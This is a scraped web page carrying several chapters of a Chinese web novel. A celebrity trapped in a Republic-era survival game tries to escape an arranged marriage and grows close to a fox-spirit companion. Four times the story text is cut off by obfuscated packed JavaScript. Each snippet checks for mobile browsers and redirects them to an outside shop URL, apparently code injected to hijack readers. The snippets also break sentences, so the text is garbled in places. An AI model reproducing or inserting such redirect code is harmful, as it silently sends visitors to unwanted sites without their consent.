虽然已经是民国时期，但这里却仍保留着清朝时的古朴气息，一看就是历史悠久的大户人家，而宁昭跟在老者身后，走了许久才到达最里面的一个幽深的小院子。 “宁小姐，请您就在二少爷房间的门口说话，不要进去。” 看着深幽的石子路和这别致的小庭院，宁昭应了一声，轻手轻脚地往里走。 院子里种着翠绿的竹子，它们郁郁葱葱、婆娑摇曳，每一颗都焕发着蓬勃的生命力，哪怕是在这阴天下，也如翡翠一般颜色鲜明。 走到最里面，出现一扇红色的檀木门。 宁昭在门口站定，小心翼翼地出声：“柳、柳二少爷，你在吗？” 里面没有声音。 她敲了敲门，再次出声：“柳衡？” “小晦吗？” 忽然，内屋传来一道喑哑的男声：“你来了？” “是，我有事找你……” 不知为何，宁昭觉得这柳衡的声音有些虚弱，听起来好像生病了。 内室传来低低的笑声：“什么事？抱歉，我病了，怕传染给你，只能辛苦你站在外面说。” 他的声音很温和，像一杯寡淡的白开水，但宁昭却能听出他在刻意将语气放得缓和。 听起来并不难缠。 “……我可以退婚吗。” 思忖片刻，宁昭还是问出口。与其拐弯抹角说那么多有的没的，还不如直接说。 “……” 听到这话，房间里面沉默了。 也不知道究竟沉默多久，房里发出一道无奈的喟叹：“抱歉，如果你是为了这件事而来，我不能答应你。” “今天早上，柳家送到宁家的彩礼被偷走了。” 宁昭深吸一口气：“妈妈怀疑是我偷的，动手打我。我很委屈，所以才来找你。” 回应她的只有沉默。 “就是因为这件事，你才想退婚吗？” 不久，柳衡再次出声：“小事。我让秦叔再送一份过去就是了。” ……？ 那么多金首饰，说送就送，这也太有实力了吧。 “我不是来跟你要钱的——” 回过神，宁昭赶紧说：“被偷走的彩礼我会还给你，我知道这事情跟我妈说了没用，所以我才来找你……” “小晦，很抱歉。这件事，我无论如何都不会答应你。” 他的语调里含着歉意，明明是温柔的声音，却说出了这样生硬的话：“婚期不会改变，你回去吧。” “……如果这个婚退不掉，我会死的。” 宁昭试图卖惨，但她忘了，不是任何人都是沈书言。 “你不会死的，回去吧。” 本以为最好说话的柳衡能解决退婚的事，但他坚定的语气却让宁昭意识到，这是最行不通的一条路。 “小晦，你站在我门口不走，我也不会松……咳咳……” 说到这里，房内传来剧烈的咳嗽声。 秦叔闻声进来，面带抱歉：“宁小姐，请回吧。” 人都咳成这样了，再杵在这里也无济于事。 从不做无用功的宁昭又看了一眼房门：“不用再送多一份彩礼，我会找回来。” 要是再要一份，成什么人了。 接下来响起的，便只有断断续续的咳嗽声，再无其他。 原路返回，离开柳宅后，她又回头看了眼牌匾，心中是深深的乏力。 事情没有解决，看起来似乎也没有转圜的余地，但是宁昭还不想回去。 柳叶镇是个静谧安定的小镇， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203776|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繁华的街头人来人往，有来来去去的黄包车，时不时还能看见路边的小摊，有卖馄饨的，也有卖包子的。 香气飘进鼻子，从进入副本开始就没进食的宁昭终于饿了。 她走到一家馄饨摊旁坐下，朝老板叫了一声：“老板，一碗馄饨，不要香菜。” “好嘞——” 老板声音洪亮，隔老远都能听到他的声音。 一碗热气腾腾的馄饨很快就被端上来。宁昭咬了一口，鲜美的肉馅包裹汤汁在嘴里绽开，实在是满足。 “那柳家大门最近怎么总关得死死的。” 耳边忽然传来窸窸窣窣的说话声 听到“柳家”这个词，宁昭的耳朵条件反射地竖了起来。她不动声色，朝旁边挪了挪位置，这样就能听得更清楚些。 “不知道啊，说是柳二少爷病得很重，不开门怕过了病气。” “好像是肺出了问题？其实这种病，有钱就慢慢养着，不会出太大问题。就是可怜了要跟他结婚的姑娘，一嫁过去就要守活寡。” “我听说好像是城北李寡妇家的姑娘。” “哟，李寡妇？她家姑娘可太漂亮了，会愿意嫁给一个病秧子？” “当然不是漂亮的那个，是丑的那个……说结婚也是为了冲喜。” 听完，宁昭也沉默了。 看来宁晦确实处处不遭人待见，连结婚这种人生大事都是为了给大户人家的少爷冲喜。 想也不用想就知道是李秀丽把她给卖了。 吃顿馄饨的功夫，宁昭就已经把事情的前因后果给摸出来了。 既然是为了给柳衡冲喜，那这个婚能顺利退掉的概率就变得更低了。 吃完饭，宁昭在街上漫无目的地走。路边有卖各种小物件的摊子，一路看下来，卖得最多的是香囊和手帕。 都是些女孩子喜欢的物件，她看得眼花缭乱，走了许久才想起来，今天好像是七夕。 小摊旁时不时有男生停留，从架子上众多花色的香囊中挑出一个漂亮的，带着笑意把它买下。 观察了许久，宁昭竟也有些入了迷。 “你也想要？” 耳畔忽然传来男声。 宁昭被吓了一跳，抬头才发现说话的人是沈书言。 “你怎么在这……” 看到沈书言，宁昭比看见亲人还亲切：“你竟然可以出来？” “我为什么不可以？” 说着，沈书言张开五指，从他的指缝中落下一枚红色的同心结：“今天是乞巧节。” 看到制作精巧的同心结，宁昭瞳孔地震。 “你……” 你知道在七夕送女生同心结是什么意思吗？ “不喜欢？” 见宁昭迟迟没有回应，沈书言作势要把东西收起来：“那我就自己留着。” “谁说我不喜欢。” 宁昭赶紧接过来，将它捏在指尖，去看它的样式。 用锦带编制的结子紧紧扣在一起，像两只翩翩飞舞的蝴蝶，灵巧又美丽。 同心结，同心结。永结同心。 心底流淌过暖意，宁昭耳尖泛红。她看向沈书言，却发现他的表情很淡定。 不知为何，看着沈书言的脸，宁昭忽然很想说些什么。 “如果我们能活着通关的话……” 39. 黄道吉日 沈书言看向她，像是在等待她接下来的话。 “……你接下来会做什么？” 她想说些什么暧昧的话，但越是面对沈书言，她便越说不出口。 耳边尽是车辆行人的喧嚣声，宁昭却能听到自己扑通的心跳。 “通关后？” 没发现宁昭的异样，沈书言认真想了想：“那时候，我不一定还活着。” “你这么无敌，怎么会死呢？” 宁昭全当他在谦虚：“沈书言，我一直想问你，你是不是什么隐藏boss啊？不然你怎么什么都知道？” 他闻言笑笑，和她一起在街上漫无目的地走：“我不是。” “你和我不是来自同一个地方吧。” 这点宁昭早就想问了，只是一直没机会：“如果你也来自现实世界，不会不认识我的。” 认识她的人，也许不会像萧朔表现得那么激动，但也不会像沈书言那样无动于衷。 而且，现实世界没有真的男狐狸精。 “你倒是很自信。” 看到她骄傲的小表情，他睨她：“就凭这一点，你就能确定了？” “上到八十岁老人下到八岁小孩，就没有不认识我的。” 虽然不想沾沾自喜，但这好歹是宁昭凭实力打下的江山，她言语间难免多了些炫耀：“到处都是我的广告牌呢。” 说着说着，宁昭竟产生了一种恍如隔世之感。 也不知道她进入虚妄之都这么久，现实世界过去了几天，她的家人朋友会不会担心她。 看到她的脸上出现些许惆怅，沈书言不用想就知道她脑子里在想些什么。 “这么厉害啊？” 赞叹声响起，沈书言打断宁昭胡乱的思绪：“不去看看好像真是可惜了。” 听沈书言这么说，宁昭回神。 “那我们做个约定吧。” 她转头看他：“如果我们都能活着通关，你就到我的世界去看一看。” 如果那时他能留下来的话…… 她攥紧手中的同心结，那句呼之欲出的话，最后还是没能说得出口。 “好。” 沈书言依旧是有求必应，答应得很爽快。 不知为什么，宁昭感觉沈书言是那种死缠烂打就能追到的男人。 但偏偏死缠烂打不是她的风格。 而主动表白，貌似也不是沈书言的风格， 这样想着，心中又燃起斗志。宁昭深吸一口气：“我接下来要去柳叶学堂，一起去吗？” “快到了。” 他看向前方不远处，抬了抬下巴：“就在那里。” 已经陆陆续续有穿着民国时期制服的女生朝学堂的方向走。午休刚结束，下午的课程快要开始了，他们到的正是时候。 “你方向感挺好啊。” 没想到刚走的路没一步是白走的，宁昭不禁夸赞：“连地图都不用看。” “你忘了我的技能是gps定位。” “抱歉……” 走近学堂，已经有人看到宁昭。她们分明是认识她的，但却都在看到她之后移开眼神，像是不想和她扯上关系。 偶尔有一两个和她打招呼的，也是说完后就匆匆进门，没有过多的言语。 “我自己进去吧。” 身边站着这样一个气质冷淡的大帅哥，两人同框多多少少有些格格不入，看起来太过扎眼。 “好。” 不想让宁昭为难，也怕给她带来危险。沈书言很自然地后退：“那我就在门口等你。” 有了他这句话，宁昭这才安心地走了进去。 越过长长的走廊，她摸到了教师办公室。从窗外便看到里面坐着一个女老师，她敲了敲门，直到听到里面传来应答声，这才推门而入。 见来人是宁昭，老师推了推眼镜：“宁晦，你终于来了，一直联系不到你人，东西也没法给你。” 果然，只要她来到了游戏引导的任务点，线索就会自己送上门。 说话间，老师已经拉开抽屉，拿出一沓文件：“这是你的退学申请书，审批已经下来了。” 将文件递到宁昭手里，她叹了口气：“真的不再考虑考虑吗？现在时代放开了，女子也能和男人一样读书学习。” 站在宁晦的角度来看，未来当真是一片惨淡。 这个时代，对于女性来说，除了读书学习，实在没有其他什么好的出路。但现实摆在这里，宁昭连婚都没能成功退掉，就更无心去应付学堂的事情。 “老师，我没办法。” 宁昭摇摇头。 见她如此，老师也不强求，又给她递了一份文件：“没关系。上面和学校打了招呼，给你作了保留学籍的决定。在未来一年内，如果你还想回学堂读书，直接回来签单子就行。” 上面？ 宁昭心生疑虑，接过单子一看，发现确实是一份保留学籍的证明。 她粗略扫了一眼，目光落到纸张的最末尾，发现就在宁晦监护人签名的地方写着一个清隽的名字。 不是李秀丽，而是柳衡。 心灵蓦地传来被击中的感觉。 捏着这两份文件，宁昭走出学堂，心情有些复杂。 “走吧。” 耳后传来沈书言的声音，他一直在原地等她，没有离开。 一路上，宁昭都有些失神。 柳衡这个人很奇怪。他说话很温柔，态度却坚决，非要拖着病躯和“宁晦”举行婚礼，却又给她签了保留学籍的单子。 如此一来，宁昭是真的看不透柳衡的心里在想些什么。 “附近有寺庙吗？” 宁昭冷不丁看向沈书言：“或者，有没有什么算命的地方？” 沈书言用技能搜了一圈，点头：“有。” 还记得上一次算命是在刚出道的时候，她被夏筝硬拉着去泰国的四面佛许愿。 在那附近有个据说很灵的算命先生，她们本着“来都来了”的心态去算了个命，结果那先生看到宁昭就拍大腿，说她是大红大紫的命，只是路途多舛，如果心愿得成，必得回来还愿，方能保一生平安。 那时的宁昭还年轻，不信鬼神之说，觉得这话术是骗人的，便没有放在心上。 如今再去复盘，宁昭惊觉自己好像确实应了那时的占卜。 一出道便迎来现象级爆火，星路坦途，就算其中有所波折却也未曾阻拦她节节上升的步伐，直到今天，她被卷入这个生存游戏，这才让她的人生出现重大变故。 这不会是她没还愿的报应吧。 面前是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214149|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位身穿道袍的老者，他坐在桌子后，只看了宁昭一眼，便眯了眯眼睛：“此身命数未尽，魂魄却已散佚。血运尽夺、折寿祸身，若不及时清除邪祟，必将面临血煞凶光，难入轮回。” “魂魄散佚？” 敏锐捕捉到这个关键词，宁昭皱皱眉头：“什么意思？” “这具身体拥有如此灾厄的命数，施主的面色却依旧饱满红润，可见有异灵附体以维持生命。附体魂魄一旦剥离，肉身与灵魂便会烟消云散，再无回天之力。” 老者并没有正面回答宁昭的问题，自顾自又说了许多。 而正是这句话，让宁昭开始正视起这个问题：“您是说，如果我的魂魄离开这具身体，她就会死？” 能够一眼看出宁晦这具身体的芯子已经换人了，这个老者的确实有点东西，宁昭也再不敢不信。 老者看着宁昭，伸手摸了摸胡子，又看了眼她身旁站着的沈书言，故作高深地说了一句：“死亦生、生亦死。癔毒殃气，贻害无穷，若能化解，便可向死而生。” “如何才能化解？” “此身命数如此。罪孽已犯，哪怕施主招魂破咒，也再难回光返照。” 也就是说，一旦宁昭回到自己的身体里，宁晦就会魂飞魄散。 那她呢？她自己会不会死？ “施主且放心。您周身有祥瑞环绕，只需寻回自己的肉身，便可安然无恙。” 像是看穿宁昭的心思，老者微笑，不动声色瞥了一眼沈书言。 “方法呢？” 宁昭追问。 然而老者却不再回答，只是缓缓摇了摇头：“天机不可泄露。” “……” 不知为何，宁昭在确定自己不会死之后松了口气，却又在得知宁晦会在她离开时死亡时觉得心塞。 “施主可还有问题？” “有。” 回过神，宁昭看了看渐晚的天色：“今天是七月初七乞巧节，再过八天就是中元节了。我想知道，那天适不适合结婚？” “不宜。” 老者缓慢摇头：“七月十五，鬼门大开。活人不宜进行婚嫁、搬家、入宅。若要结婚，可选在七月十六或七月十八，可避免邪灵附体，以保顺遂平安。” 这就是了。 系统给她的任务是“在黄道吉日，嫁与如意郎君”。如果不能退婚，起码先把这个晦气的结婚日期给改了。 谁家好人会在鬼节结婚？ 婚礼改到黄道吉日，到那天后，不管是用什么方法，只要能把新郎换掉再拜堂成亲，也许就能算作是完成任务了吧。 当然，这一切都是宁昭的推测。 离开寺庙时，夜幕已经降临。 耽搁了许久，天色都黑了。路边的商店酒馆纷纷亮起灯，那些小情侣也都纷纷出街，约会的约会、买东西的买东西，倒真比夜市还热闹。 “你今天得回宁宅。” 沈书言出声：“是想用地图，还是走回去？” “走回去吧。” 宁昭实在不想那么快回去应对李秀丽那张死人脸。 “好。” 下一秒，温热的触感涌入宁昭指尖，随即就是温暖的手掌紧密贴合，指缝也忽然变得充实。 沈书言十指相扣、牵住了她的手。 40. 黄道吉日 在人潮拥挤的街道中，他们十指相扣，淹没在人群中，看起来和普通情侣没有什么区别。 “……姐夫，我们这样走在街上有些不妥吧。” 虽然嘴上这么说，但宁昭还是悄悄握紧了他的手。 “叫上瘾了？” 他握着她的手始终没放：“被人看到刚好，退婚更容易些。” 所以是故意的？ 宁昭刚冒起粉红色泡泡的心顿时被浇灭。也是，都什么时候了，怎么能想着谈恋爱。 她泄恨般捏了捏他的手，直到疼痛感引来他侧目：“怎么了？” “没啊。” 装作漫不经心的模样，宁昭不去看他：“演戏要演全套的，不仅演员要就位，还得有观众才行。” “你怎么知道没有？” 下一秒，沈书言靠近宁昭，将她拥入怀中：“右前方有个鬼鬼祟祟的女人，她是李秀丽的好姐妹。” 闻言，宁昭不露痕迹地往那里瞥了一眼，果然看到一个穿着旗袍的贵妇人站在巷子口，时不时探头朝他们看，神态十分紧张。 宁昭转身就往沈书言怀中靠了靠，笑意盈盈地抬头看他：“沈书言，我想吃糖葫芦。” 刚好她有些饿了。又能表演又能吃饭，怎么不算一举两得呢？ “好。” 依旧是有求必应的队友哥，转身就找到一个卖糖葫芦的小摊，给她买了好大一串糖葫芦。 她笑得愉悦，沈书言脸上的宠溺也极其自然，任谁看了都不会怀疑他们情侣的身份。 接过糖葫芦，宁昭没有道谢，而是直接踮脚，在沈书言脸颊快速亲了一口。 沈书言的动作立马僵住。 “我不是说了吗，演戏要演全套的。” 待到他回过神，宁昭已经像没事人一样开吃了，就好像她亲他的那一下只是沈书言的幻觉。 这下终于轮到沈书言吃瘪了。 扳回一城的宁昭心情大好，步伐都轻快了许多：“这样虽然没有被捉奸在床来得简单粗暴，但好歹也算体面吧？” “……” 一路上，沈书言变得异常沉默。 直到他们最终远离喧嚣的市场，走入幽深的小巷，附近很安静，耳边只有宁昭走路时踩在石子路上的踢踏声。 柳家和宁家离得很远，哪怕柳叶镇不大，步行也需要走上许久，还会穿过许多弯弯绕绕的小巷。此刻已经渐入深夜，路上人烟稀少，离开了那女人的视线，他们紧握着的手自然而然就松开了。 原本两人可以心照不宣地把刚才的事情揭过去，但是宁昭却突然不想再这样含糊不清。 “沈书言，我之前听过一个民间传言。” 宁昭主动开口。 “什么？” “在我们那个世界里，狐狸是很长情的动物。” 再三思索措辞，宁昭继续说：“尤其是雄性狐狸，据说他们一生只有一个伴侣……” 说到这里，宁昭停顿了下，身边也是一阵沉默。 也许是因为天黑，宁昭并不能看到沈书言攀上红晕的耳朵，于是她自顾自说了下去：“不知道这个说法，在虚妄之都适不适用？” “咳……” 不自然的咳嗽声响起，沈书言缓了一会，终于吭声：“嗯。” “适用啊？”宁昭挑挑眉：“那……你之前，有没有谈过女朋友？” “你们对长情的定义是什么？” 没想到沈书言却没有回答，而是反问了一句。 “长情的定义？” 她一愣：“当然就是只爱一个人，只对一个人好，而且还要为她守身如玉。” 在宁昭的观念中，这才叫长情。而不是那些表面说爱了她多少年，实际上这些年一个女人都没断过的长情。 贞洁是一个男人最好的嫁妆。 “守身如玉。” 沈书言若有所思地点点头：“我们这里的观念差不多也是这样。” “那……” “所以，还不懂吗？” 大概是羞于说出口，沈书言再次战略性咳嗽，说了这样一句话。 宁昭还仔细想了想他是什么意思。 直到脑海里出现她昨天被他压在床上，今天和他牵手、亲吻的画面，她立马就懂了。 如果他和别人在一起过，就不会和其他女人做这些事。 “那，我能不能理解为，” 停顿三秒：“你是在为……某人守身如玉？” “……” 暧昧的气氛逐渐升温，然而就在这时，远处突然传来刺耳的唢呐声。高昂又突兀的音调响彻天际，惊得树林里的鸟儿都扑腾着翅膀飞走了。 “什么声音。” 原本就快捅破窗户纸了，忽然被打断，宁昭难免觉得有些乏味。 “有人死了，大概在出殡。” 不知为何，听到这动静的沈书言竟然松了一口气：“我们赶紧回去吧。” 他看向宁昭，表面没有异常，心脏却已跳得飞快。 他喜欢她，但不是现在。 “嗯。” “……” 虽然千万般不想再回到那个家，但宁昭还是不得不面临现实。 “我就到这儿。” 到达宁宅门口，沈书言停下脚步。 “你不进去吗？” 见他不打算进门，宁昭没来由的有些慌：“你要留我一个人面对吗？” “……你先进去。” 他没说是，也没说不是。 宁昭给他抛去一个期待的眼神，随后一步三回头地走进了宁府。 “你个死丫头还知道回来？” 果然，未见其人先闻其声。还没等宁昭走进前厅，李秀丽吼叫的声音就传了过来：“你还有脸回来？！” “这是我家，我为什么没脸回？” 宁昭压根没把李秀丽抓狂的表情放在眼里：“我回房了。” 被宁昭气得头疼，李秀丽伸手捂住胸口，还想再骂些什么，却见她身边突然窜出一只白色的小狐狸。 “这畜生是哪儿来的？！” 感受到小腿传来轻轻的痒意，宁昭低头一看，竟发现脚边是一只小狐狸。 她立刻蹲身把他抱起来，警惕地看向李秀丽：“这是我的狐狸。” “赶紧弄出去！” 李秀丽见宁昭如此冥顽不灵，气得太阳穴青筋直跳：“我家里容不得畜生！” “你还想不想知道彩礼去哪儿了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222404|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁昭懒得和她掰扯：“想知道就闭嘴，我给你找回来。” 果然，听到“彩礼”这两个字，李秀丽立马安静下来。她冷哼一声：“你能找到？我看就是你拿了！” “为什么一直怀疑是我拿的？” 宁昭有些好笑地看着李秀丽：“是不是因为，这份彩礼已经被你当成了姐姐结婚时要用的嫁妆，所以她不会偷，才怀疑是我？” “胡说！” 李秀丽脸色一变，脸色肉眼可见地变红：“你妈在你眼里就是那种人？彩礼给你留着还不是为了防止你以后在婆家有个什么三长两短……” “我懒得听。” 怀中还抱着小狐狸，宁昭挥挥手：“你少说几句，我兴许还能给你找回来。” 无心恋战，宁昭快速离开前厅，往自己的房间去。却不想在回去的途中，又遇到了个挡路的。 “宁晦，站住。” 也许是因为沈书言不在的缘故，面前的冒牌货不再伪装，脸色看起来十分冷淡：“你是不是有病？整天缠着你姐夫做什么？” 面前的女人有着和她一模一样的脸，头发绾成柔美的发髻，穿着一条窈窕的旗袍裙，美得不可方物。哪怕是生气，也是叫人移不开眼的好看。 只可惜她撞上宁昭这块铁板了。 “姐夫长得帅啊。” 宁昭笑眯眯地看着冒牌货，歪了歪头，用一种很茶的口气说：“尤其是今天姐夫给我出头的样子，特别帅，终于理解为什么姐姐那么怕姐夫被人抢走了……” 话音落下，宁昭明显感觉到怀中的狐狸钻得更深了点。 “谁怕了？！” 不知道是哪句话戳到了冒牌货的痛点，她咬牙，眸子里跳动着怒火：“我怕他被抢走？被谁？被你吗？” 又是上下打量的嫌弃眼神，“宁昭”不屑地冷哼：“长成你这样，竟然还有脸说出这种话？我要是你，我就会像阴沟里的老鼠一样躲起来，怎么好意思往人前凑。” 当真是完全没把宁昭放在眼里。 不过宁昭也不恼：“偷了别人的美貌，还真把它当成是你自己的了？你骗骗我没什么的，就是千万别把你自己也给骗了啊。” 这轻飘飘的语气，比冒牌货那一大串羞辱人的话更有杀伤力。 此刻，“宁昭”的眼里只有宁昭对她的讽刺，哪里注意到她怀中还有一只狐狸。 她一把扯住宁昭的袖口，伸手就想抽她，结果还没等她的巴掌落下，宁昭怀中的狐狸就扑到她身上，撞得她一个踉跄。 随后，狐狸又灵巧地跳到了宁昭的怀里。 看到冒牌货吃瘪的样子，宁昭恨不得把沈书言抱起来狠狠亲一口。但是她克制住了冲动，看向一旁吃痛地揉着肩膀的冒牌货：“我劝你别在我身上下功夫，不然你会死得很惨。” 说完这句，她抱着沈书言离开。这一次，她终于回到了她的房间。 “你反应真迅速啊——” 不知道是不是因为沈书言现在是狐形态的缘故，宁昭抱着他滚到床上：“刚刚那一下给我看爽了。不过你下手还是轻了啊，怎么不把她那张脸挠花！” 没想到，此话一出，宁昭竟然人生中第一次从一只狐狸的脸上看出了不可思议的表情。 41. 黄道吉日 看到小狐狸的表情，宁昭不禁闷笑：“我知道你不会的，毕竟那是我的脸，抓花了我也心疼。” 见她这么说，沈书言这才甩了下尾巴，示意他听到了。只不过，他的表情看起来还是有点小傲娇。 “但还是谢谢你替我出头。” 宁昭抱着小狐狸一个转身，就把他压在了床上。她低头看他：“今晚就和我一起睡吧。” 要是面对人形态的沈书言，她绝对不能大言不惭地说出这话。但面前是一只人畜无害的小狐狸，她看得心都软了，调戏的话自然是信手拈来。 被她压在床上的小狐狸动弹不得，整个身体都僵硬了，只能把头转到一边不去看她，但不停晃动的尾巴却昭示了他的心情。 抱着沈书言□□了一会，她才意犹未尽地放开他，去浴室洗漱。 直到宁昭离开房间，小狐狸都一直把自己的头埋在被子里，一动都不动。 洗完澡回来，宁昭看到沈书言还埋在被子里，不禁失笑，过去把他抱起来：“怎么自闭了，别闷死了再。” 一只手掀开被子，她抱着他躺进去，关掉了灯。 世界变得漆黑，小狐狸蜷缩在宁昭怀里，只隔着一层睡裙，他还能听清她蓬勃的心跳。 “在中元节来之前，你会一直在我身边吗？” 寂静中，宁昭蓦地出声：“我一个人在这里，总觉得心慌。” 沈书言没办法说话，但是他能扫尾巴。他们两个很有默契，他扫一下她就知道，他的意思是可以。 “这些天里，得做两手准备。” 感应到沈书言的回应，宁昭继续说：“我明天会和李秀丽说，把婚礼推到七月十六。” 胳膊又被毛茸茸的尾巴扫了一次。 “彩礼是你拿走的吧？” 见沈书言这么乖，宁昭不由得笑了：“明天我就拿这个当筹码。” 等到沈书言再次传来回应，她继续说：“我还要去庙里找人替我招魂。” 如果能回到自己原本的身体，那面前的阻拦就迎刃而解了。 “所以我需要你帮我找几张地图。” 说完，她拍拍小狐狸的头：“我相信你，睡吧。” 说罢，她将沈书言抱得更紧，头抵在了他毛茸茸的额头上。还没过几秒，沈书言的头顶就传来均匀轻浅的呼吸声。 扑面的馨香钻进鼻尖，变成狐狸的沈书言嗅觉变得异常灵敏，于是他闻着她身上洗发水的味道，一瞬间感觉有些晕乎乎的。 不知不觉中，他也睡着了。 他从没有将这一面暴露在别人面前过，也很少有睡得如此安心的时刻。 但起码，在这个副本里，在他能保证他们安全的前提下，他在她的怀里睡得很安稳。 李秀丽是不会给宁昭好日子过的。第二天天还蒙蒙亮，她就开始疯狂敲她的门：“……死丫头还学会锁门了？快起床！” 虽然宁昭没有起床气，但被这样搞一通，谁的心情都不会好。不过对付李秀丽也很简单，只需要无视她，她自己叫累就会走。 怀中的狐狸早就醒了，宁昭睁眼时，发现他正眼巴巴地看她，看着实在可爱。 于是她又狠狠吸了一口，哼着歌起身，无视了外面咆哮的女声，和小狐狸一起慢悠悠地洗了个漱。 果然，当她再出卫生间的时候，李秀丽的声音已经消失了。 但当她去到前厅时，还是免不了被一顿谩骂。 趁着李秀丽发作的功夫，沈书言离开了宁宅，应该是去找地图去了。宁昭也早就想好应对措施，拿彩礼来和李秀丽谈条件，逼迫她更改结婚日期。 见宁昭的态度这么坚决，李秀丽终于松口：“只要更改婚期，你就愿意把彩礼给我？” 现在彩礼是谁偷的已经无所谓了。李秀丽只知道宁昭能找到，并且还愿意心甘情愿把东西交给她。 “当然。” 看着她纠结的脸色，宁昭一笑，语气很笃定：“但我需要你先改日期，然后我才会把东西给你。你也不用担心我会骗你，如果我拿不出来，你大可以再把婚期给改回去。这对你来说，不就是一句话的事么？” 这段话彻底把李秀丽堵得哑口无言。 “那行……” “不行！” 然而，未等李秀丽同意的话说完，门口忽然传来一道冷厉的女声。 来人赫然是顶着宁昭美貌的冒牌货。 她从门口进来，冷冷睨了宁昭一眼，随后看向李秀丽，语气放得柔和了些：“妈，这婚期怎么能说改就改呢？都是确定好了的日子，你这样做，柳家会怎么看我们？” “不要对别人的人生有太大的占有欲。” 宁昭不恼，只是朝她一笑：“我结婚的日子，和你没有关系。” “哪怕是你结婚的日子，也要掂量掂量自己在婆家那边的分量。” 看不惯宁昭这副干什么都云淡风轻的样子，“宁昭”眉头皱了皱：“你看你在你婆家说话有用吗？昨天哭着去找你未婚夫，结果他帮你出头没？” 想到这里，冒牌货的心情才稍微好了些：“能嫁到柳家，这是你的福气，别身在福中不知福！” “姐姐怎么知道他没帮我？” “到现在连个人影都没有，他帮你什么了？”冒牌货冷哼一声，语气里带着不屑，但仔细听，又能听出几分颤抖。 “他为什么没个人影，你比我更清楚吧。” 看到冒牌货脸上一闪而过心虚的表情，宁昭又望向李秀丽：“如果真如你们所说，嫁到柳家是我的福气，为什么姐姐不去嫁，反而让我嫁？” “……” “为什么姐姐结婚能挑个好日子，我结婚就非要挑在中元节，连推后一天都不愿意？” 被宁昭接连逼问，面前的母女俩被堵得是半句话都说不出来。 空气一时有些静默。 本以为这样的气氛会僵持一会，却没想到门口忽然传来一阵高跟鞋踩在石子路上的声音。随后便是一个陌生女人的问候声：“哟，都在前厅呢？早饭吃过没啊？” 进门的女人宁昭认识。可不就是昨天晚上在夜市目睹她和沈书言暧昧的女人吗？ 原来这么坐不住，第二天一早就上赶着来告状了啊。 不过宁昭并不紧张， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235347|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而激动起来。除去她昨晚和沈书言说的两手准备，现在貌似还出现了第三种可能。 昨晚的事如果能闹大，闹到退婚，那便是再完美不过的结果了。 李秀丽看到吴琳翠，脸上的表情终于缓和了点：“琳翠，你来了。我们已经吃过了。” 她和冒牌货倒是吃过了，宁昭还饿着肚子。 吴琳翠风风火火地进门，看了宁昭一眼，眼中流露出鄙夷的神色：“小晦啊，我没记错的话，你下个星期是要和柳家二少爷结婚的对吧？” 果真是开门见山，连寒暄都没结束，她就已经对宁昭开炮了。 宁昭轻飘飘看她一眼，没说话，一点都没将她放在眼里。 “我怎么教你礼貌的？” 看到宁昭依旧这副死样子，李秀丽气得心肝疼：“养你这么个女儿，还不如不养！真是白眼狼！” “是啊，可不是白眼狼吗。” 阴阳怪气的语调听着尤其刺耳，吴琳翠一边打量着宁昭，一边走到李秀丽身边：“女孩子家家不守妇道，快结婚了还在大庭广众之下和其他男人暧昧，你让你妈的脸往哪里搁啊？” 李秀丽立刻变了脸色：“什么？！” “秀丽啊，我是和你关系好才告诉你的。” 吴琳翠叹了口气：“要是不说，等到她婚后搞出幺蛾子被发现，丢的不是你们宁家的脸吗？” “宁晦，这是真的？！” 虽说是质问声，但李秀丽已然是怒不可遏。显然，面对如此冥顽不灵的宁昭，她完全相信吴琳翠的说词，此刻只觉得头疼欲裂。 “吴姨，这是真的假的？” 一旁的“宁昭”忽然嗅出些不对劲的气味：“小晦还是个姑娘家，这事可不兴乱说。” “你也说了她是个姑娘家，我怎么会拿姑娘的清白开玩笑？” 